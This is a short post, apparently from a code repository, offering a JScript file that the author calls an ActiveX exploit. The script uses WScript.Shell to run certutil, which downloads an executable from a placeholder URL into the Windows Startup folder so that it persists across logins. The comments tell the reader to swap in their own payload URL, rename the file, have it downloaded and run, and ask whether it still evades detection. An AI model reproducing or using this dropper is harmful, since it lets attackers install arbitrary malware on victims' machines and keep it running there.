Exploit ActiveX with JS file. This was my idea at age 17 (2017). It worked before. I don't know if it still works in modern times.

explt_activx.js

function exploit(){
var objShell = new ActiveXObject("WScript.shell");
objShell.run("certutil.exe -urlcache -f http://master/yourpayload.exe C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe");
}
exploit();


// change 'http://master/yourpayload.exe'
// save it as anything.js

// download this anything.js
// (was it still undetectable?)
// run!